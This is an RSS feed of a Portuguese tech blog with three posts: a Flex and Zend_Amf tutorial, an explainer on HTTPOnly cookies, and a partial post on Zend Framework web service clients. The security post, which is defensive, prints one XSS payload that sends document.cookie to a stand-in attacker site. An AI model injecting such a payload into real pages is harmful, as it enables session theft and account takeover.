<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Pasqua Tecnologia</title>
	<atom:link href="http://dpasqua.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://dpasqua.wordpress.com</link>
	<description>TI, Linux, PHP,  Java, Frameworks, Web</description>
	<lastBuildDate>Sat, 28 Jan 2012 00:09:38 +0000</lastBuildDate>
	<language>pt-br</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='dpasqua.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Pasqua Tecnologia</title>
		<link>http://dpasqua.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://dpasqua.wordpress.com/osd.xml" title="Pasqua Tecnologia" />
	<atom:link rel='hub' href='http://dpasqua.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Hello World no Flex com Zend_Amf</title>
		<link>http://dpasqua.wordpress.com/2012/01/27/hello-world-no-flex-com-zend_amf/</link>
		<comments>http://dpasqua.wordpress.com/2012/01/27/hello-world-no-flex-com-zend_amf/#comments</comments>
		<pubDate>Sat, 28 Jan 2012 00:09:22 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[Flex]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2322</guid>
		<description><![CDATA[Introdução Neste artigo vamos mostrar como criar uma simples aplicação em Flex comunicando-se com uma aplicação PHP no lado do servidor. No lado do servidor vamos utilizar o componente Zend_Amf que é distribuído junto com o Zend Framework. Este componente é responsável por tornar possível a comunicação entre aplicações Flash e PHP. No nosso exemplo [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2322&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Introdução</strong></p>
<p>Neste artigo vamos mostrar como criar uma simples aplicação em Flex comunicando-se com uma aplicação PHP no lado do servidor. No lado do servidor vamos utilizar o componente <em>Zend_Amf</em> que é distribuído junto com o Zend Framework. Este componente é responsável por tornar possível a comunicação entre aplicações Flash e PHP. No nosso exemplo vamos utilizar a comunicação entre uma aplicação Flash gerado por Adobe Flex. Para quem não sabe, o Adobe Flex é o nome de uma tecnologia criada pela Macromedia com o objetivo de criar aplicações ricas para Internet. Existe um SDK para Adobe Flex, que no final irá gerar um arquivo Flash para ser incorporado em sua aplicação. Vamos falar um pouco sobre o <em>Zend_Amf</em>.</p>
<p><strong>Zend_Amf</strong></p>
<p>O componente <em>Zend_Amf</em> suporta o protocolo AMF (Action Message Format) da Adobe que é usado pelo Flash para se comunicar com aplicações remotas através de trocas de mensagens. </p>
<p>A <a href="http://download.macromedia.com/pub/labs/amf/amf3_spec_121207.pdf" target="_blank">especificação do AMF</a> é disponível gratuitamente e serve como referência para quem deseja criar aplicações que irão se comunicar com aplicações Flash. (A documentação é para aqueles que querem criar seu próprio protocolo de comunicação, que não é o nosso caso, já que o Zend_Amf já faz esse trabalho).</p>
<p><strong>Instalando Adobe Flash Builder</strong></p>
<p>Para criação da nossa aplicação Flex, vamos utilizar o Adobe Flash Builder, que pode ser baixado através do link<br />
<a href="http://www.adobe.com/go/try_flashbuilder_br" target="_blank">http://www.adobe.com/go/try_flashbuilder_br</a>. Você precisa ter uma conta no site da Adobe para poder realizar o download. O processo de instalação é simples. Caso você não tenha uma licensa do Adobe Flash Builder você poderá utilizá-lo para testes por 60 dias. Após isso será necessário a utilização de uma licensa.</p>
<p><strong>No Servidor</strong></p>
<p>Vamos criar nosso arquivo <em>server.php</em> dentro do diretório <em>amf</em> na raiz do projeto no webserver. Ele será reponsável entre a comunicação do FLex com nossa aplicação PHP. Para este exemplo estamos disponibilizando o método <em>Ola</em> da classe <em>Usuario</em> que é responsável por retornar uma string inserindo nela o parâmetro enviado para o método. Podemos disponibilizar quantas classes for preciso através do método <em>setClass</em> do <em>Zend_Amf_Server</em>. A utilização do <em>Zend_Amf_Server</em> é bem simples como você pode ver abaixo.</p>
<p>A classe <em>Zend_Amf_Server</em> permite também que você carregue classes dinâmicamente. Você pode especificar um local onde estão localizados todos os arquivos de suas classes através do método <em>addDirectory</em>.</p>
<p>Para mais detalhes, acessar:<br />
<a href="http://framework.zend.com/manual/en/zend.amf.server.html" target="_blank">http://framework.zend.com/manual/en/zend.amf.server.html</a></p>
<p><pre class="brush: php;">
&lt;?php

/* incluindo lib do Zend_Amf_Server */
require_once('Zend/Amf/Server.php');

// instanciando o objeto do Zend_Amf
$server = new Zend_Amf_Server();

// Desabilita o modo producao para ajudar no debug.
// Habilitar quando colocar em producao
$server-&gt;setProduction(false);

// vamos disponibilizar a classe usuario para a aplicacao Flex
$server-&gt;setClass('Usuario');

// cria a resposta do classe Usuario em AMF
echo $server-&gt;handle();

/**
 * Definicao da Classe Usuario
 */
class Usuario {
        /**
         * @param string $nome
         * @return string
         */
        public function Ola($nome) {
                return &quot;Ola $nome, Bem Vindo ao Flash com Zend_Amf&quot;;
        }
}
</pre></p>
<p>Perceba que usamos blocos de comentários nos métodos da nossa classe. Eles serão usados pelo Zend. É necessário que você documente no mínimo os parâmetros de entrada e o retorno de cada método disponibilizado para a aplicação Flex.</p>
<p>Veja também que colocamos <em>setProduction</em> para <em>false</em>, que ajuda no debug da aplicação! Lembre-se de Comentar essa linha quando estiver em produção!</p>
<p><strong>Criando Aplicação Flex</strong></p>
<p>Após realizado o download e instalado o Adobe Flash Builder, estamos aptos à criar nossas aplicações Flex. Inicie a IDE. Nosso primeiro passo é criar um projeto. em <em>File -&gt; New -&gt; Flex Project</em>.</p>
<p><a href="http://dpasqua.files.wordpress.com/2012/01/screenshot073.png"><img src="http://dpasqua.files.wordpress.com/2012/01/screenshot073.png?w=544&#038;h=297" alt="" title="ScreenShot073" width="544" height="297" class="alignnone size-full wp-image-2351" /></a></p>
<p>Irá abrir uma nova janela com as instruções para criação do novo projeto. Insira o nome da projeto e clique no botão <em>Finish</em>. Para o exemplo deste artigo o nome do projeto usado foi <em>HelloZend</em>.</p>
<p><a href="http://dpasqua.files.wordpress.com/2012/01/screenshot074.png"><img src="http://dpasqua.files.wordpress.com/2012/01/screenshot074.png?w=544&#038;h=297" alt="" title="ScreenShot074" width="544" height="297" class="alignnone size-full wp-image-2356" /></a></p>
<p>O próximo passo é criar um arquivo de configuração para que o Flex possa se comunicar com o PHP. Neste arquivo estaremos parametrizando o <em>endpoint</em>, ou seja, a URL que o Flex utilizará para se comunicar com o Zend. O nome do arquivo que vamos criar é o <em>services-config.xml</em>. Crie o arquivo dentro da pasta <em>src</em> do seu projeto.</p>
<p><a href="http://dpasqua.files.wordpress.com/2012/01/screenshot075.png"><img src="http://dpasqua.files.wordpress.com/2012/01/screenshot075.png?w=544&#038;h=297" alt="" title="ScreenShot075" width="544" height="297" class="alignnone size-full wp-image-2358" /></a></p>
<p>Insira o conteúdo abaixo no arquivo <em>services-config.xml</em></p>
<p><pre class="brush: xml;">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;services-config&gt;
    &lt;services&gt;
        &lt;service id=&quot;zend-service&quot;
            class=&quot;flex.messaging.services.RemotingService&quot;
            messageTypes=&quot;flex.messaging.messages.RemotingMessage&quot;&gt;
            &lt;destination id=&quot;zend&quot;&gt;
                &lt;channels&gt;
                    &lt;channel ref=&quot;zend-endpoint&quot;/&gt;
                &lt;/channels&gt;
                &lt;properties&gt;
                    &lt;source&gt;*&lt;/source&gt;
                &lt;/properties&gt;
            &lt;/destination&gt;
        &lt;/service&gt;
    &lt;/services&gt;
    &lt;channels&gt;
        &lt;channel-definition id=&quot;zend-endpoint&quot;
            class=&quot;mx.messaging.channels.AMFChannel&quot;&gt;
            &lt;endpoint uri=&quot;http://127.0.0.1/amf/server.php&quot;
                class=&quot;flex.messaging.endpoints.AMFEndpoint&quot;/&gt;
        &lt;/channel-definition&gt;
    &lt;/channels&gt;
&lt;/services-config&gt;
</pre></p>
<p>No arquivo <em>services-config.xml</em> criado anteriormente altere a URL na tag endpoint para que aponte para seu script PHP que criamos no ínicio do artigo (que utiliza o Zend_Amf_Server). </p>
<p><pre class="brush: xml;">
...
&lt;endpoint uri=&quot;http://127.0.0.1/amf/server.php&quot;
                class=&quot;flex.messaging.endpoints.AMFEndpoint&quot;/&gt;
...
</pre></p>
<p>Agora é necessário dizer ao Flash Builder para utilizar o arquivo <em>services-config.xml</em> durante a compilação do projeto. Clique com o botão direito do mouse no nome do projeto e em <em>Properties</em>. Entre na seção <em>Flex Compiler</em> e adicione o parâmetro <em>-services services-config.xml</em> no quadro <em>Additional compile arguments</em>:</p>
<p><a href="http://dpasqua.files.wordpress.com/2012/01/screenshot076.png"><img src="http://dpasqua.files.wordpress.com/2012/01/screenshot076.png?w=544&#038;h=297" alt="" title="ScreenShot076" width="544" height="297" class="alignnone size-full wp-image-2365" /></a></p>
<p>Vamos criar agora o <em>RemoteObject</em> que irá se comunicar com o servidor. O código adiante deverá ser inserido no arquivo HelloZend.mxml. O <em>RemoteObject</em> deve estar dentro da tag <em>Declarations</em>.</p>
<p><pre class="brush: xml;">
&lt;mx:RemoteObject id=&quot;mysource&quot;
   source=&quot;Usuario&quot;
   showBusyCursor=&quot;true&quot;
   fault=&quot;faultListener(event)&quot;
   destination=&quot;zend&quot;&gt;
	&lt;mx:method name=&quot;Ola&quot; result=&quot;testarConexao(event)&quot;/&gt;
&lt;/mx:RemoteObject&gt;
</pre></p>
<p>Segue a descrição dos atributos usados no <em>RemoteObject</em>:</p>
<ul>
<li><em>id=&#8221;mysource&#8221;</em>, Nome do elemento RemoteObject para podermos referenciá-lo nos scripts.</li>
<li><em>source=&#8221;Usuario&#8221;</em>, Nome da classe no PHP.</li>
<li><em>showBusyCursor=&#8221;true&#8221;</em>, Muda o ícone do mouse enquanto estiver aguardando a resposta da requisição.</li>
<li><em>fault=&#8221;faultListener(event)&#8221;</em>, Tratamento dos erros será realizado pela função falutListener.</li>
<li><em>destination=&#8221;zend&#8221;</em>, Referencia o destination criado no arquivo services-config.xml.</li>
</ul>
<p>Perceba que declaramos o método <em>Ola</em> que corresponde ao método <em>Ola</em> da nossa classe <em>Usuario</em> no PHP. O retorno da requisição do método <em>Ola</em> será tratado pela função <em>testarConexao</em> que vamos criar adiante.</p>
<p>O próximo passo é a criação dos listeners:  <em>testarConexao</em> responsável por tratar o retorno da requisição; <em>faultListener</em> responsável por tratar algum possível erro durante a requisição. Os listeners devem estar dentro da tag <em>fx:Script</em>.</p>
<p><pre class="brush: xml;">
&lt;fx:Script&gt;
		&lt;![CDATA[
			import mx.controls.Alert;
			import mx.rpc.events.ResultEvent;
			import mx.rpc.events.FaultEvent;
			
			public function testarConexao(event:ResultEvent):void	{
				Alert.show(event.result.toString());
			}
			
			private function faultListener(event:FaultEvent):void {
				Alert.show(event.fault.message, &quot;Error&quot;);
			}
			
		]]&gt;
	&lt;/fx:Script&gt;
</pre></p>
<p>O processamento dos listeners é bem simples, exibir um Alert com o resultado da requisição enviado para o Zend e, caso ocorra erro, exibir um alert com os detalhes do erro ocorrido.</p>
<p>Vamos agora criar o botão que deverá disparar a requisição para o Zend:</p>
<p><pre class="brush: xml;">
	&lt;mx:VBox top=&quot;30&quot; left=&quot;100&quot;&gt;
		&lt;mx:Button label=&quot;Testar Flex-Zend&quot; click=&quot;mysource.Ola('Douglas')&quot; /&gt;
	&lt;/mx:VBox&gt;
</pre></p>
<p>Pronto, já temos nossa aplicação Flex pronta.<br />
Para facilitar o seu teste, segue abaixo o código fonte completo do arquivo HelloZend.mxml:</p>
<p><pre class="brush: xml;">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;s:Application xmlns:fx=&quot;http://ns.adobe.com/mxml/2009&quot; 
			   xmlns:s=&quot;library://ns.adobe.com/flex/spark&quot; 
			   xmlns:mx=&quot;library://ns.adobe.com/flex/mx&quot; minWidth=&quot;955&quot; minHeight=&quot;600&quot;&gt;
	&lt;fx:Declarations&gt;
		&lt;!-- Place non-visual elements (e.g., services, value objects) here --&gt;
		
		&lt;mx:RemoteObject id=&quot;mysource&quot;
						 source=&quot;Usuario&quot;
						 showBusyCursor=&quot;true&quot;
						 fault=&quot;faultListener(event)&quot;
						 destination=&quot;zend&quot;&gt;
			
			&lt;mx:method name=&quot;Ola&quot;
					   result=&quot;testarConexao(event)&quot;/&gt;
		&lt;/mx:RemoteObject&gt;
		
		
	&lt;/fx:Declarations&gt;
	
	&lt;fx:Script&gt;
		&lt;![CDATA[
			import mx.controls.Alert;
			import mx.rpc.events.ResultEvent;
			import mx.rpc.events.FaultEvent;
			
			public function testarConexao(event:ResultEvent):void	{
				Alert.show(event.result.toString());
			}
			
			private function faultListener(event:FaultEvent):void {
				Alert.show(event.fault.message, &quot;Error&quot;);
			}
			
		]]&gt;
	&lt;/fx:Script&gt;
	
	
	&lt;mx:VBox top=&quot;30&quot; left=&quot;100&quot;&gt;
		&lt;mx:Button label=&quot;Testar Flex-Zend&quot; click=&quot;mysource.Ola('Douglas')&quot; /&gt;
	&lt;/mx:VBox&gt;
	
&lt;/s:Application&gt;
</pre></p>
<p>Ao executar nossa aplicação Flex, teremos a seguinte tela:</p>
<p><a href="http://dpasqua.files.wordpress.com/2012/01/screenshot077.png"><img src="http://dpasqua.files.wordpress.com/2012/01/screenshot077.png?w=544&#038;h=306" alt="" title="ScreenShot077" width="544" height="306" class="alignnone size-full wp-image-2397" /></a></p>
<p>Ao clicar no botão, será disparado nossa requisição para o Zend:</p>
<p><a href="http://dpasqua.files.wordpress.com/2012/01/screenshot078.png"><img src="http://dpasqua.files.wordpress.com/2012/01/screenshot078.png?w=544&#038;h=306" alt="" title="ScreenShot078" width="544" height="306" class="alignnone size-full wp-image-2398" /></a></p>
<p>É isso ae. Agora é só expandir o Hello World para aplicações maiores. Boa Sorte!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2322/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2322&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2012/01/27/hello-world-no-flex-com-zend_amf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2012/01/screenshot073.png" medium="image">
			<media:title type="html">ScreenShot073</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2012/01/screenshot074.png" medium="image">
			<media:title type="html">ScreenShot074</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2012/01/screenshot075.png" medium="image">
			<media:title type="html">ScreenShot075</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2012/01/screenshot076.png" medium="image">
			<media:title type="html">ScreenShot076</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2012/01/screenshot077.png" medium="image">
			<media:title type="html">ScreenShot077</media:title>
		</media:content>

		<media:content url="http://dpasqua.files.wordpress.com/2012/01/screenshot078.png" medium="image">
			<media:title type="html">ScreenShot078</media:title>
		</media:content>
	</item>
		<item>
		<title>Segurança, Cookies HTTPOnly !</title>
		<link>http://dpasqua.wordpress.com/2012/01/14/seguranca-cookies-httponly/</link>
		<comments>http://dpasqua.wordpress.com/2012/01/14/seguranca-cookies-httponly/#comments</comments>
		<pubDate>Sat, 14 Jan 2012 19:20:57 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[sessão]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2271</guid>
		<description><![CDATA[Introdução Muitos de nós já conhecemos ou já ouvimos falar de XSS (Cross-site Scripting). XSS é uma vulnerabilidade explorada em aplicações web onde uma usuário mal intencionado consegue injetar códigos javascripts em uma página que posteriormente será lida por um usuário qualquer. Brechas desse tipo podem ser encontrada em vários sites ou em aplicações web. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2271&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Introdução</strong></p>
<p>Muitos de nós já conhecemos ou já ouvimos falar de XSS (Cross-site Scripting). XSS é uma vulnerabilidade explorada em aplicações web onde uma usuário mal intencionado consegue injetar códigos javascripts em uma página que posteriormente será lida por um usuário qualquer. Brechas desse tipo podem ser encontrada em vários sites ou em aplicações web.</p>
<p>Um ataque muito explorado em XSS é o roubo dos cookies de sessão do usuário. O roubo dos cookies é realizado através de um comando javascript que envia os cookies para uma URL externa onde o usuário atacante tem controle.</p>
<p>Por exemplo, caso o atacante consiga inserir o código abaixo em uma aplicação onde não é realizado o tratamento correto ao exibir as informações para outro usuário, o código, ao invés de ser exibido na tela do usuário, será executado diretamente no navegador fazendo com que os cookies sejam enviados para o site do atacante.</p>
<p><pre class="brush: jscript;">
&lt;script type=&quot;text/javascript&quot;&gt;
new Image().src=&quot;http://www.sitedoatacante.com.br/cookies.php?c=&quot;+encodeURI(document.cookie);
&lt;/script&gt;
</pre></p>
<p>Em posse dos cookies, mas especificamente o cookie de sessão, o atacante pode entrar autenticado no site com as mesmas credenciais da vítima, sem que ela saiba.</p>
<p><strong>Cookies HTTPOnly</strong></p>
<p>Cookies HTTPOnly são cookies que podem ser setados pelo servidor ou por javascript porém <strong>não</strong> podem ser acessados de nenhuma forma por javascript. Para que seja efetiva a funcionalidade do HTTPOnly o navegador deve estar habilitado para isto. A maioria dos navegadores conhecidos respeitam esse parâmetro. Cookies com o parâmetro HTTPOnly dificultam bastante o roubo de sessão através de XSS pois o javascript não consegue ler o conteúdo destes cookies.</p>
<p>Para exemplificar, selecionei abaixo um exemplo de cabeçalho de uma resposta de requisição HTTP onde é setado um cookie com o parâmetro HTTPOnly:</p>
<p><code>HTTP/1.1 200 OK<br />
Cache-Control: no-cache,private<br />
Content-Length: 9190<br />
Content-Type: text/html; charset=utf-8<br />
Content-Encoding: gzip<br />
Server: Microsoft-IIS/7.5<br />
X-AspNet-Version: 2.0.50727<br />
Set-Cookie: ASP.NET_SessionId=owhxuuffabkl0n55uhkrwj45; path=/; <strong>HttpOnly</strong><br />
X-Powered-By: ASP.NET<br />
Date: Wed, 11 Jan 2012 19:38:13 GMT<br />
</code></p>
<p><strong>PHP e Cookies HTTPOnly</strong></p>
<p>A partir do PHP 5.2.0, as funções <em>setcookie</em> e <em>setrawcookie</em> possuem o parâmetro que seta o HTTPOnly para o cookie que esta sendo criado:</p>
<p>Sintaxe das funções <em>setcookie</em>/<em>setrawcookie</em>:<br />
<pre class="brush: php;">
setcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);
setrawcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);
</pre></p>
<p>Setando um cookie no PHP com a flag httpOnly habilitada:</p>
<p><pre class="brush: php;">
setcookie(&quot;TesteCookie&quot;, &quot;123456&quot;, 0, &quot;/&quot;, &quot;example.com&quot;, false, true);
setrawcookie(&quot;TesteCookie&quot;, &quot;123456&quot;, 0, &quot;/&quot;, &quot;example.com&quot;, false, true); // setrawcookie não faz o urlencode no valor do cookie
</pre></p>
<p>Caso você queria setar um cookie manualmente utilizando a função <em>header</em> (Pode ser no caso você esteja usando uma versão do php anterior ao 5.2.0 que ainda não suporta httpOnly nas funções <em>setcookie</em>/<em>setrawcookie</em>):</p>
<p><pre class="brush: php;">
header(&quot;Set-Cookie: nome=valor; path=/; httpOnly&quot; );
</pre></p>
<p>Por padrão, ao criar uma sessão no PHP, é criado um cookie usado para controlar o acesso do usuário na sessão. Normalmente o cookie é chamado PHPSESSID. Na configuração padrão esse cookie não é httpOlny. Para ativar o parâmetro httpOnly no cookie de sessão do PHP, setar a diretiva <em>session.cookie_httponly</em> no php.ini para <em>true</em>:</p>
<p><pre class="brush: plain;">
session.cookie_httponly = true
</pre></p>
<p>Dessa forma você esta deixando sua aplicação mais segura, evitando possíveis ataques que exploram a vulnerabilidade XSS.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dpasqua.wordpress.com/2271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dpasqua.wordpress.com/2271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/dpasqua.wordpress.com/2271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/dpasqua.wordpress.com/2271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/dpasqua.wordpress.com/2271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/dpasqua.wordpress.com/2271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/dpasqua.wordpress.com/2271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/dpasqua.wordpress.com/2271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/dpasqua.wordpress.com/2271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/dpasqua.wordpress.com/2271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/dpasqua.wordpress.com/2271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/dpasqua.wordpress.com/2271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/dpasqua.wordpress.com/2271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/dpasqua.wordpress.com/2271/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2271&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dpasqua.wordpress.com/2012/01/14/seguranca-cookies-httponly/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a1d7c8b046b40388a15342b7b0b2b45b?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">pasquati</media:title>
		</media:content>
	</item>
		<item>
		<title>Webservices com Zend Framework parte III</title>
		<link>http://dpasqua.wordpress.com/2012/01/12/webservices-com-zend-framework-parte-iii/</link>
		<comments>http://dpasqua.wordpress.com/2012/01/12/webservices-com-zend-framework-parte-iii/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 22:55:43 +0000</pubDate>
		<dc:creator>pasquati</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[zend framework]]></category>
		<category><![CDATA[webservices]]></category>

		<guid isPermaLink="false">http://dpasqua.wordpress.com/?p=2227</guid>
		<description><![CDATA[Introdução Na primeira e segunda parte abordamos a criação e utilização de webservices SOAP e REST. Nesta terceira e final parte vamos conhecer alguns componentes do Zend Framework que funcionam como APIs para diversos serviços em torno da Internet. A comunicação entre esses serviços são realizadas através de webservices utilizando os protocolos SOAP e REST. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dpasqua.wordpress.com&amp;blog=3174627&amp;post=2227&amp;subd=dpasqua&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Introdução</strong></p>
<p>Na <a href="http://wp.me/pdjRF-xT" target="_blank">primeira</a> e <a href="http://wp.me/pdjRF-yz" target="_blank">segunda</a> parte abordamos a criação e utilização de webservices SOAP e REST. Nesta terceira e final parte vamos conhecer alguns componentes do Zend Framework que funcionam como APIs para diversos serviços em torno da Internet. A comunicação entre esses serviços são realizadas através de webservices utilizando os protocolos SOAP e REST. O Zend Framework mais uma vez facilitou nossa vida encapsulando diversas funcionalidades dentro dessas classes de serviços para minimizar nosso esforço.</p>
<p>A lista de serviços disponíveis pelo Zend Framework pode ser obtida no link abaixo:<br />
<a href="http://framework.zend.com/manual/en/zend.service.html" target="_blank">http://framework.zend.com/manual/en/zend.service.html</a></p>
<p>Gostaria de destacar alguns: Amazom, Yahoo, Twitter, Windows Azure, Flickr, SlideShare, Delicious.</p>
<p>Criei dois exemplos para utilização desses serviços à partir do Zend Framework, usando o Twitter e o Delicious.</p>
<p><strong>Zend_Service_Twitter</strong></p>
<p>Criamos abaixo uma aplicação que conecta no twitter com sua conta e realiza algumas operações. A primeira operação irá listar os 20 posts mais recentes dos seus amigos e a segunda operação irá listar os 20 posts mais recentes postados por você.</p>
<p>Para saber mais operações que você pode realizar junto com o Zend Framework, acessar o link: (existem várias)<br />
<a href="http://framework.zend.com/manual/en/zend.service.twitter.html" target="_blank">http://framework.zend.com/manual/en/zend.service.twitter.html</a></p>
<p>Para poder criar uma aplicação externa que acessa o twitter você também precisa criar um app no site do twitter para desenvolvedor. Mais especificamente no link:<br />
<a href="https://dev.twitter.com/apps/new" target="_blank">https://dev.twitter.com/apps/new</a></p>
<p>Após criar sua app no twitter, será necessário obter tokens e chaves para inserir na lib do Zend Framework. Substitua no código abaixo os tokens e chaves correspondentes conforme mencionado.</p>
<p><pre class="brush: php;">
&lt;?php

/* incluir bibliotecas */
require_once(&quot;Zend/Service/Twitter.php&quot;);

/* credenciais */
$access = new Zend_Oauth_Token_Access();
$access-&gt;setToken('&lt;Accees Token&gt;')-&gt;setTokenSecret('&lt;Access token secret&gt;');

$params = array(
        'accessToken' =&gt; $access,
        'consumerKey' =&gt; '&lt;Consumer key&gt;',
        'consumerSecret' =&gt; '&lt;Consumer secret&gt;'
);
$twitter = new Zend_Service_Twitter($params);

/* retorna os 20 status mais recentes postados por seus amigos */
$response = $twitter-&gt;status-&gt;friendsTimeline();
foreach($response as $info) {
        echo &quot;&lt;h4&gt;{$info-&gt;user-&gt;name}&lt;/h4&gt;&quot;;
        echo &quot;&lt;p&gt;{$info-&gt;text}&lt;/p&gt;&quot;;
}

/* retorna os 20 status mais recentes postados por voce */
$response = $twitter-&gt;status-&gt;userTimeLine();
foreach($response as $info) {
        echo &quot;&lt;h4&gt;{$info-&gt;user-&gt;name}&lt;/h4&gt;&quot;;
        echo &quot;&lt;p&gt;{$info-&gt;text}&lt;/p&gt;&quot;;
}

</pre></p>
<p><strong>Zend_Service_Delicious</strong></p>
<p>Para quem não conhece, o <a href="http://delicious.com" target="_blank">Delicious</a> é um site que proporciona você encontrar sites interessantes (bookmarks de outros usuários) e também compartilhar seus próprios sites favoritos. Além de poder integrar o Delicious em seu navegador, você também pode criar aplicações via Webservice para manipular as opções que o Delicious oferece.</p>
<p>O Zend Framework disponibiliza uma API de comunicação com o Delicious simples e de fácil manuseio. Antes de mais nada faça seu cadastro no site (veja link acima). Após realizar o cadastro você já pode criar suas próprias aplicações para o Delicious. Abaixo temos uma aplicação que obtem todos bookmarks do seu usuário, filtrando aqueles que possuem a tag &#8220;php&#8221;, e exibe a saída na tela, informando o título e o link do site que consta no seu favorito.</p>
